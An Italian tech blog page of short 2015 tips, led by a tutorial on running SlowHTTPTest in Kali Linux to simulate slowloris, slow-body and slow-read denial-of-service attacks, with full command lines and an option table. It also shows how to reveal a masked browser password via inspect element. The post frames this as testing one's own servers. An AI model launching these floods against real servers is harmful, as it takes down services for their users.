mercoledì 17 giugno 2015

Kali Linux: Attacco DoS tramite SlowHTTPTest

In questo articolo illustrerò come utilizzare il tool SlowHTTPTest per testare il proprio server sugli attacchi DoS (Denial of Service).  SlowHTTPTest è un tool altamente personalizzabile utilizzato per simulare attacchi DoS. Il tool è presente per numerose piattaforme Linux, OSX e Cygwin (un ambiente Unix-like a riga di comando per sistemi operativi Microsoft Windows) e implementa i più comuni attacchi DoS utilizzando una banda minima come slowloris, Slow HTTP POST, Slow Read attack, Apache Range Header attack.
Di seguito utilizzerò Kali Linux, una distribuzione Linux, basata su Debian GNU/Linux, pensata per l’informatica forense e spesso utilizzata per Penetration Testing, Ethical Hacking e per test relativi alla sicurezza della rete.

ATTENZIONE:
Danneggiare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

Per installare SlowHTTPTest in Kali Linux basta utilizzare apt-get
apt-get install slowhttptest

Installazione slowhttptest
FIG 1 - Installazione slowhttptest

Di seguito riporto alcuni esempi di attacchi eseguiti tramite SlowHTTPTest


Slow message body mode
slowhttptest -c 1000 -B -i 110 -r 200 -s 8192 -t FAKEVERB -u https://myserver/loginform.html -x 10 -p 3
se vogliamo che i risultati vengano salvati in un file e in modalità grafica
slowhttptest -c 1000 -B -g -o body_result -i 110 -r 200 -s 8192 -t FAKEVERB -u https://myserver/loginform.html -x 10 -p 3


SlowHTTPTest slow message body mode
FIG 2 - SlowHTTPTest slow message body mode

slowloris mode
slowhttptest -c 1000 -H -i 10 -r 200 -t GET -u https://myserver/index.html -x 24 -p 3
per i risultati in modalità grafica
slowhttptest -c 1000 -H -g -o header_result -i 10 -r 200 -t GET -u https://myserver/index.html -x 24 -p 3


Slow read mode passando per un proxy
slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u http://someserver/somebigresource -p 5 -l 350 -e x.x.x.x:8080
x.x.x.x:8080 è il proxy (con relativa porta) da cui si intende passare


Utilizzando l'opzione -g i risultati vengono generati in formato CSV e HTML. All'interno del file HTML è contenuta anche una rappresentazione grafica del test (basata su Google Chart tool). Un esempio delle statistiche in formato HTML è riportato nella seguente figura.
SlowHTTPTest opzione -g
FIG 3 - SlowHTTPTest opzione -g
I dati contenuti all'interno del file CSV possono essere utilizzati per generare un grafico con un tool di proprio gradimento (come Ms Excel, Google Docs ecc). 

L'ultimo messaggio visualizzato è quello della condizione di uscita dal test che potrebbe essere uno dei seguenti:

Hit test time limitRaggiunto il limite di tempo specificato tramite l'opzione -l
No open connections leftIl peer ha chiuso tutte le connessioni
Cannot establish connectionNessuna connessione stabilita entro i primi N secondi del test (dove N equivale a 10 secondi se non specificato diversamente tramite l'opzione -i). Questo può verificarsi se l'host non è raggiungibile oppure spento.
Connection refusedLa connessione è stata rifiutata dal destinatario. In questi casi possiamo provare ad utilizzare un proxy.
Cancelled by userAnnullato premendo CTRL+C 
Unexpected errorErrore inatteso.


In tabella le opzioni accettate da SlowHTTPTest

-a Per specificare il valore iniziale per il test range header
-b Specifica il numero di bytes per il test range header
-c Permette di specificare il numero di connessioni (fino a 65539)
-dPermette di indirizzare tutto il traffico attraverso un proxy e relativa porta. Ad es. -d proxy:port
-ePermette di indirizzare solo il traffico dei probe attraverso un server proxy. Ad es. -e proxy:port
-H, B, R o XSpecifica il tipo di slow down: -H per la sezione header, -B per la sezione Body del messaggio. -R abilita il range test, -X abilita il test slow read 
-gPermette di generare statistiche in formato CSV e HTML
-i Permette di specificare ogni quanti secondi inviare dati per ciascuna connessione.
-k Per il test di slow read permette di specificare quante volte ripetere la richiesta nella stessa connessione (se il server supporta HTTP pipelining).
-l Per specificare la durata, in secondi, del test
-n Per specificare l'intervallo, in secondi, tra le operazioni di lettura dal buffer in ricezione
-o Specifica un file di output (incluso di path). Utilizzato insieme all'opzione -g
-p Tempo di attesa (espresso in secondi) di una risposta HTTP su connessione probe dopo il quale il server è considerato non raggiungibile
-r Connection rate. Numero di connessioni per secondo
-s Valore in byte del Content-Length header, se l'opzione -B è definita
-t Permette di specificare un verb personalizzato
-u Per specificare URL target del test (nello stesso formato utilizzato dai browser)
-v Verbosity. Specifica il livello di dettaglio del log (valori da 0 a 4). 
-wInizio del range, espresso in byte, da cui la dimensione della finestra visualizzata viene prelevata.
-x massima lunghezza, in byte, dei dati
-yfine del range, espresso in byte, da cui la dimensione della finestra visualizzata viene prelevata.
-z Byte da leggere dal buffer in ricezione con una singola operazione di lettura

martedì 16 giugno 2015

MS Exchange: Visualizzare i domini accettati dall'organizzazione tramite EMS

Per visualizzare l'elenco dei domini accettati all'interno dell'organizzazione utilizzando Exchange Management Shell (EMS) possiamo utilizzare il cmdlet
Get-AcceptedDomain


Visualizzare i domini accettati: Get-AcceptedDomain
FIG 1 - Visualizzare i domini accettati: Get-AcceptedDomain

Se vogliamo filtrare il risultato visualizzando solo i domini Authoritative possiamo eseguire il seguente comando
Get-AcceptedDomain | Where{$_.DomainType -eq 'Authoritative'}

lunedì 15 giugno 2015

Kali Linux: Abilitare il Network Manager e settare indirizzo IP tramite CLI

Kali Linux è una distribuzione Linux basata su Debian spesso utilizzata per Penetration Testing, Ethical Hacking e per test relativi alla messa in sicurezza della reti IT. Kali Linux può essere scaricato gratuitamente da www.kali.org. Dalla pagina contenente i collegamenti ai file .ISO sono disponibili anche le immagini già pronte da utilizzare con le Virtual Machine di VMware e di VirtualBox.

Una volta installato Kali Linuxaprire una finestra terminale ed eseguire il comando ifconfig per visualizzare le informazioni relative alle schede di rete (comprese schede wi-fi) presenti nel sistema. Noteremo che le schede di rete non dispongono di indirizzo IP in quanto in Kali Linux il servizio networking è disabilitato di default. Dalla finestra terminale è possibile stoppare, avviare, riavviare il servizio utilizzando i seguenti comandi:
/etc/init.d/networking stop
/etc/init.d/networking start
/etc/init.d/networking restart  

Avviare il servizio utilizzando il comando /etc/init.d/networking start da terminale. 


Avviare il servizio Networking: /etc/init.d/networking start
FIG 1 - Avviare il servizio Networking: /etc/init.d/networking start

A questo punto potremmo trovarci nella situazione in cui da Network Manager viene visualizzato il messaggio Device not managed. Ciò capita in quanto nelle distribuzioni Debian e derivate, per default, Network Manager non gestisce interfacce elencate in /etc/network/interfaces. Per gestire le connessioni tramite la GUI Network Manager è necessario modificare il file /etc/NetworkManager/NetworkManager.conf.
Dalla finestra terminale digitare
nano /etc/NetworkManager/NetworkManager.conf


NetworkManager.conf
FIG 2 - NetworkManager.conf

quindi nella finestra dell'editor sostituire la scritta false, relativa all'opzione managed nella sezione ifupdown, con true. Sovrascrivere il file premendo la combinazione di tasti CTRL+O e confermare con Invio. Per uscire dall'editor premere CTRL+X.

Riavviare la GUI Network Manager tramite il seguente comando da terminale:
/etc/init.d/network-manager restart  
Riavviare Gui Network Manager: /etc/init.d/network-manager restart
FIG 3 - Riavviare Gui Network Manager: /etc/init.d/network-manager restart  

Ora il servizio Networking è attivo e la connessione tramite cavo può essere gestita tramite GUI Network Manager. Nel caso in cui sulla rete sia attivo il servizio DHCP, alla scheda di rete verrà automaticamente assegnato un IP. Se si intende assegnare un indirizzo IP statico è possibile procedere sia tramite GUI (menu Applications->System Tools->Preferences->Network Connections) oppure dalla finestra terminale utilizzando i seguenti comandi

ifconfig eth0 up
Abilita l'interfaccia di rete eth0

ifconfig eth0
Visualizza le impostazioni di rete dell'interfaccia eth0.

ifconfig eth0 192.168.0.10
Assegna all'interfaccia di rete eth0 l'indirizzo IP 192.168.0.10

ifconfig eth0 netmask 255.255.255.0
Imposta la subnet mask 255.255.255.0 per l'interfaccia di rete eth0

ifconfig eth0 broadcast 192.168.0.255
Imposta un indirizzo di broadcast per l'interfaccia di rete specificata. In questo caso l'indirizzo di broadcast impostato per l'interfaccia eth0 è 192.168.0.255

route add default gw 192.168.0.1
Specifica il default gateway. In questo caso l'indirizzo del default gateway è 192.168.0.1

route -n 
Permette di visualizzare la tabella di routing


Network Connections
FIG 4 - Network Connections
Per settare un server DNS è necessario andare a modificare il file /etc/resolv.conf. Dalla finestra terminale digitare
nano /etc/resolv.conf


Settare server DNS: resolv.conf
FIG 5 - Settare server DNS: resolv.conf

Modificare nameserver indicando l'indirizzo IP del server DNS che si intende impostare (in FIG 5 è riportato il server DNS di google). Salvare e sovrascrivere il file premendo CTRL+O seguito da Invio, quindi uscire dall'editor tramite CTRL+X.

venerdì 12 giugno 2015

Windows Quick Tip: Eseguire comandi multipli dal prompt dei comandi

Dal prompt dei comandi è possibile eseguire comandi multipli su una singola riga separandoli con &&. Nell'utilizzo di tale separatore è importante tenere in considerazione che i comandi vengono eseguiti procedendo da sinistra verso destra e che il comando successivo verrà eseguito solo se il precedente è terminato senza errori.


Ad es.
dir a: && pause
Nel caso in cui a: non sia una lettera di unità valida (e pronta) il comando pause non verrà mai eseguito. Questo capita in quanto il separatore && esegue il controllo degli errori.

Separatore di comandi &&
FIG 1 - Separatore di comandi &&

Se si intende eseguire il comando successivo anche se il precedente non restituisce i risultati previsti è possibile utilizzare il separatore &.

Ad es.
dir a: & pause
in questo caso pause verrà eseguito anche se il comando dir a: termina con errore, come è possibile vedere nella seguente figura.

Separatore di comandi &
FIG 2 - Separatore di comandi &

giovedì 11 giugno 2015

Windows Quick Tip: Abilitare l'auto-completamento nel prompt dei comandi

Per chi utilizza frequentemente il prompt dei comandi può essere utile avere la funzione di completamento automatico dei nomi dei file e cartelle. 
É possibile abilitare l'auto-completamento sia in maniera permanente, agendo tramite il registro di sistema, sia temporaneamente solo per la sessione corrente.

Attivare il completamento automatico in CMD temporaneamente
Per attivare l'auto-completamento basta eseguire il comando cmd /f. Il comando può essere eseguito sia all'interno della stessa finestra del prompt dei comandi (in questo caso l'auto-completamento viene abilitato nella stessa finestra/sessione) oppure digitando ed eseguendo il comando da Esegui (WIN+R), in questo caso verrà aperta una nuova sessione del prompt dei comandi con abilitato il completamento automatico.
Una volta attivato il completamento automatico è possibile premere CTRL+D per completare i nomi delle cartelle oppure CTRL+F per completare il nome dei file.

Per disabilitare il completamento automatico basta eseguire, all'interno del prompt dei comandi, il comando cmd /f:off oppure semplicemente chiudere la finestra.


Attivare il completamento automatico in CMD in modo permanente
Per attivare il completamento automatico in modo permanente all'interno del prompt dei comandi è necessario agire tramite il registro di sistema.
  • Accedere all'editor di registro (regedit.exe).
  • Se si intende effettuare l'abilitazione per tutti gli utenti che utilizzano la postazione posizionarsi su 
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor
  • Se, invece, intendiamo abilitare l'auto-completamento solo per l'utente corrente 
    HKEY_CURRENT_USER\Software\Microsoft\Command Processor\ 
    Ovviamente le impostazioni specifiche per l'utente (HKEY_CURRENT_USER) avranno precedenza sulle impostazioni a livello macchina (HKEY_LOCAL_MACHINE).
  • Per il completamento di nomi di cartelle, fare doppio clic sul valore DWORD CompletionChar e assegnargli uno dei seguenti valori a seconda del carattere di controllo che si intende utilizzare
    0x9 (digitare il valore 9 che verrà automaticamente convertito in esadecimale) per utilizzare il tasto TAB come carattere di controllo
    0x4 (digitare il valore 4 che verrà automaticamente convertito in esadecimale) per utilizzare CTRL+D
    0x6 (digitare il valore 6 che verrà automaticamente convertito in esadecimale) per utilizzare CTRL+F
  • Per il completamento di nomi di file, fare doppio clic sul valore DWORD PathCompletionChar e assegnare uno dei seguenti valori a seconda del carattere di controllo che si intende utilizzare
    0x9 per utilizzare il tasto TAB come carattere di controllo
    0x4 per utilizzare CTRL+D
    0x6 per utilizzare CTRL+F
Completamento automatico del prompt dei comandi
FIG 1 - Completamento automatico del prompt dei comandi


mercoledì 10 giugno 2015

Google Chrome: visualizzare la password nascosta dagli asterischi tramite ispeziona elemento

Le password digitate all'interno dei browser sono generalmente non visibili e nascoste da asterischi (o pallini) per impedire ad eventuali malintenzionati di sbirciarle dal monitor. Tutti i moderni browser consentono di memorizzare le password digitate e, tramite le impostazioni, consentono all'utente di visualizzarle in chiaro in caso di necessità (nelle ultime versioni, per questioni di sicurezza, può essere richiesto di inserire la password di accesso a Windows). Google Chrome consente di visualizzare la password nascosta dagli asterischi anche in un altro modo (utile anche in caso di password non memorizzata):

In Chrome cliccare con il tasto destro del mouse sulla casella contenente la password nascosta dagli asterischi e, dal menu contestuale, selezionare la voce Ispeziona elemento


Google Chrome: Ispeziona elemento
FIG 1 - Google Chrome: Ispeziona elemento

Si aprirà il riquadro di ispeziona elemento con evidenziata la riga di codice relativa alla casella di inserimento password. Eseguire un doppio clic su type="password"


Modifica attributo type relativo alla casella di input della password
FIG 2 - Modifica attributo type relativo alla casella di input della password

Sostituire la stringa "password" con "text" per rendere la password visibile.


Password visibile dopo modifica attributo type
FIG 3 - Password visibile dopo modifica attributo type

lunedì 8 giugno 2015

Windows Quick Tip: Elenco stampabile dei processi attivi

Per visualizzare i processi in esecuzione su un computer dotato di Windows basta eseguire, ad es. tramite la combinazione di tasti CTRL+SHIFT+ESC, Gestione Attività (Task Manager nei sistemi Windows XP e antecedenti)  e selezionare la scheda Processi (In Windows 8 e 8.1 è possibile selezionare la scheda Dettagli). Purtroppo il tool non permette facilmente di salvare l'elenco o di stamparlo. Per questo tipo di operazione possiamo affidarci al Prompt dei comandi o alla console avanzata PowerShell.


Gestione attività
FIG 1 - Gestione Attività

Prompt dei comandi
  • Avviare il prompt dei comandi: WIN+R e digitare cmd seguito da invio. 
  • Digitare il seguente comando seguito da invio per visualizzare l'elenco dei processi in esecuzione
    tasklist
  • Se i processi attivi sono numerosi e vogliamo visualizzarli in più pagine, il comando da eseguire è
    tasklist |more
  • Se intendiamo salvare l'elenco dei processi all'interno degli appunti (clipboard)
    tasklist |clip
  • Se, invece, vogliamo salvare l'output del comando in un file di testo
    tasklist > c:\processi.txt 

    in questo modo l'elenco dei processi in esecuzioni sarà salvato nel file processi.txt presente in c:\ e possiamo stamparlo facilmente.

PowerShell
  • Avviare PowerShell: WIN+R e digitare powershell seguito da invio
  • Per visualizzare l'elenco dei processi digitare il seguente comando e premere invio per eseguirlo 
    get-process
  • Per dirottare l'output del comando in un file di testo possiamo eseguire il comando
    get-process |out-file "c:\processi.txt"